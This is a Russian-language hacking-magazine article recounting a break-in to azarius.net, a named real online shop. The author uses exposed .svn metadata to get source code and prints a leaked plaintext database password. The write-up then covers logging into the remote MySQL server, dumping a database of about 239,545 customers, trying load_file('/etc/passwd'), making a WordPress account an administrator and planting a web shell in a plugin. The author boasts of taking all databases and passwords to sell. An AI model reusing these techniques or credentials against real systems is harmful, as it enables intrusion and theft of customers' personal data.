«Хочу в Амстердам!» — с этой мыслью я залез в Гугл в поисках очередной жертвы. Среди первых ссылок по запросу «growshop» оказался магазин azarius.net с характерными зелеными листиками известного растения на главной странице.

Немного почитав страницу «About Azarius», я узнал, что данный сайт — один из первых онлайн-магазинов по продаже психоактивных веществ в интернете (работает с 1999 года) с огромной базой покупателей и товаров. Поэтому ты не удивишься тому, что на одном поверхностном просмотре страниц я не стал останавливаться :).

 

Сажаем семена

Итак, первым делом я начал изучать структуру шопа, что, замечу, было делом не из приятных, так как использовался апачевский mod_ rewrite, и все ссылки имели вид вроде «http://azarius.net/smartshop/psychedelics/». Поверхностный осмотр мне ничего не дал, гугл не показал никаких интересных поддоменов и файлов, а из пабликдвижков были обнаружены последний WordPress (http://azarius.net/blog/), пропатченный phpBB версии 2.0.22 (http://azarius.net/forum/docs/CHANGELOG.html) и не очень-то уязвимый Piwik версии 0.5.5 (http://piwik.azarius.net).

Единственным доступным вариантом на тот момент оказался Piwik с его XSS в форме логина. Заморачиваться с XSS мне не очень хотелось, так как это долго и ненадежно, так что пришлось размышлять дальше над способом проникновения в растаманский рай.

 

Поливаем и удобряем

Прошло несколько дней. Совершенно случайно мне на глаза попался старый пост с Хабра об уязвимости множества крупных порталов, связанной с тем, что их .svn-исходники хранились в открытом доступе прямо на сервере. Вкратце поясню суть бага.

Во-первых, SVN — это система контроля версий, которая является продвинутым средством для организации совместной работы десятков разработчиков.

Во-вторых, SVN совершенно открыто хранит в каждой директории проекта свои метафайлы, которые сложены в директорию «.svn». В данной директории в файле «entries» находится список всех файлов и директорий, которые расположены в той же самой папке, что и «.svn».

Здесь же находится и информация о расположении репозитория, размере файлов, дате их модификации и именах юзеров, работающих над проектом.

Суммируя вышеназванные факты, можно подвести нехитрый итог: если проект разрабатывался с помощью SVN, то, зайдя по адресу вроде site.com/.svn/entries, ты сможешь увидеть файловую структуру корня сайта со всей перечисленной дополнительной информацией.

В моем случае таким адресом оказался azarius.net/.svn/entries, где содержалась инфа вида

2008-11-18T10:25:57.000000Z
c581920ba2dad34f3e6841ac061d958c
2007-11-16T11:06:53.860515Z
935
alex
category.php
file
2008-11-18T10:25:57.000000Z
7ce2e23ac9bc560edc2e79073fb630db
2007-01-04T16:03:07.477725Z
138
alex
find.php
file
2009-05-01T12:58:14.000000Z
beea2f728667240c14795d3c508a5144
2009-05-01T09:08:40.782967Z
1307
alex
recent.php
file

 

Собираем урожай

Итак, скачав к себе на винт исходники всех PHP-файлов проекта из категории «.svn/text-base/», я начал кропотливо парсить их на предмет уязвимостей.

После очень долгих и нудных раскопок я понял, что azarius.net — действительно очень старый и крупный проек т, так как в исходниках не было даже намека на банальные инклуды, скуль-инъекции и иже с ними. Искать что-то извращенное и глубоко спрятанное было лень, поэтому я стал думать, как быть.

Как оказалось, решение было крайне простым и лежало практически на поверхности :). На этот раз мне удалось продвинуться дальше во взломе с помощью чтения конфига форума phpBB по адресу azarius.net/forum/.svn/text-base/common.php.svn-base:

<?php
$dbms = 'mysql4';
$dbhost = 'database.azarius.net';
$dbname = 'azaforum';
$dbuser = 'web_azarius';
$dbpasswd = 'azariuskaki734';
$table_prefix = 'phpbb_';
define('PHPBB_INSTALLED', true);
?>

Из конфига видно, что мускул-сервер шопа располагается по адресу database.azarius.net и вполне может быть виден из веба.

На 80 HTTP-порту сервера висела следующая надпись:

[an error occurred while processing this
directive]
You don't have permission to access the
requested directory.
There is either no index document or the
directory is read-protected.
[an error occurred while processing this directive]

Phpmyadmin’ом здесь даже и не пахло, так что оставалось попробовать удаленно подконнектиться к 3306 порту мускула на данном сервере.

 

Заряжаем бонг

Залив на свой (почти свой 🙂 хост утилиту MySQL RST/GHC Manager, я попробовал залогиниться на серваке БД Азариуса с помощью данных из конфига phpBB. Как ни странно, у меня это получилось (пользуясь случаем, спешу напомнить — разрешай коннект к своему мускул-серверу только с локалхоста!).

Далее нужно было немного осмотреться в базе, чем я немедленно и занялся. Итак, под текущим юзером были доступны несколько БД:

information_schema, Affiliate, aff, azabase
azaforum, cms_system, cmsbase, enquete,
payments, syslog, syslogaza, test, wordpress

В базе payments была только одна табличка — «log», где хранились мало чем полезные логи, так что далее я полез прямиком в главную БД — azabase.

Немного цифр: на шопе зарегистрировано 239545 растаманов и психонавтов, которые сделали 291187 ордеров. База юзеров имела следующие поля:

UserID, UserStatusID, FirstName,
LastName, Email, EmailVerified, Company,
CompanyDescription, KVKNumber,
BTWNumber, InvoiceAllowed, Remark,
Password, ForumID, ForumAdmin,
LastLogin, LangID, CurrencyID,
_Buyer_Address, _Buyer_Host, _Buyer_Agent,
_Klantcode, _Tussenvoegsel, _Korting,
_PasswordNew, _EmailSend, _session_id,
_Website, modified, Newsletter, Nickname

Слив данную базу и бережно сохранив ее на винт для дальнейшей работы, я стал размышлять над тем, как залить шелл в уже полюбившийся мне онлайн-притон интересных личностей :).

 

Курим

Первым делом я проверил привилегии на работу с файлами у текущего юзера мускул:

SELECT load_file('/etc/passwd')

Здесь все оказалось не так просто, как с SVN и коннектом к базе — файловых привилегий не было вовсе. С заливкой шелла могли появиться проблемы, если бы админы шопа создали разных юзеров для разных БД, но, как ты уже понял, у меня был доступ ко всем базам сразу, так что я потихоньку стал колдовать над своим любимым WordPress :).

Итак, зарегавшись по адресу http://www.azarius.net/blog/wp-login.
php?action=register и получив на свое мыло пароль от аккаунта, я полез в БД под названием wordpress. Наверняка ты знаешь, что привилегии пользователей блога хранятся в табличке wp_usermeta в ключе под названием wp_capabilities. По дефолту каждый юзер имеет привилегии подписчика, то есть, фактически, не имеет никаких привилегий:

a:1:{s:10:"subscriber";b:1;}

Недолго думая, я сделал своего тестового юзера администратором, заменив данное значение на следующее:

a:1:{s:13:"administrator";b:1;}

Став админом, я зашел в админку блога по адресу http://azarius.net/blog/wp-admin прямиком в раздел редактирования плагинов. И на этот раз мне снова повезло — плагины были доступны для редактирования, так что мне оставалось только записать свой шелл в плагин «Hello dolly» и активировать файл.

Теперь мой шелл располагался по адресу http://azarius.net/blog/?azarius и с удовольствием открывал мне дальнейшие возможности для изучения шопа :).

 

Кушаем

Теперь меня заинтересовало следующее:

  1. Исходники магазина;
  2. Админка магазина;
  3. Сайты-соседи.

С первым пунктом я успешно справился, слив PHP-исходники из директории /var/www/html/azarius/public/, но, как ни странно, админки там не было.

Долго лазая по файлам и директориям шопа, я так и не нашел админку, так что пришлось довольствоваться полным доступом к БД и исходниками Азариуса.

Далее я выполнил команду «locate httpd.conf» и зашел в директорию /etc/apache2/sharedconfig/sites-enabled/, где хранились конфиги всех сайтов текущего сервера.

Вывести полный список сайтов помогла команда «cat ./*|grep ServerName»:

affiliate.herbaldistribution.com
blog.azarius.net
conscious.nl
consciousdreams.nl
database.azarius.net
dropshipping.consciouswholesale.com
middleware.entheogenics.com
pimpyourbicycle.com
piwik.azarius.net
redir.vaposhop.com
secure.azarius.net
stats.azarius.net
webman.azarius.net
webman.vaposhop.com
www.azarius.at
www.azarius.be
www.azarius.es
www.azarius.fr
www.azarius.net
www.azarius.nl
redir.azarius.nl
www.azarius.pt
consciouswholesale.com
www.crazy-t-shirts.com
www.cultofarcha.com
www.entheogenics.com
greenlabelseeds.com
www.mushxl.nl
www.shavita.net
www.shroomshaker.net
smartshop.nl
www.travellersgarden.com
vaposhop.com
www.xtenzion.nl

Как видишь, поддоменов у azarius.net оказалось гораздо больше, чем показал Гугл :). Так что, если захочешь повторить хак, это будет тебе пищей для размышления.

Все остальные сайты так или иначе все равно были связаны с травой, грибами и прочими интересными штуками, так что я быстренько забрал все исходники, все базы, явки и пароли и просто ушел с сервера (ну, не совсем просто, а извлекать коммерческий успех из этого добра :).

 

Отходняк

Даже если у истоков твоего коммерческого онлайн-проекта стоят грамотные кодеры и специалисты по безопасности, то все равно советую опасаться банального человеческого фактора. В данном взломе к заливке шелла и сливу базы пользователей привели несколько случайностей, которые, словно кусочки паззла, сложились в адскую мозаику с нарисованным на ней листком марихуаны. Так что, админ, бди!

 

Links

Оставить мнение

Check Also

В гостях у чертёнка. FreeBSD глазами линуксоида

Порог вхождения новичка в мир Linux за последние десять-пятнадцать лет ощутимо снизился. О…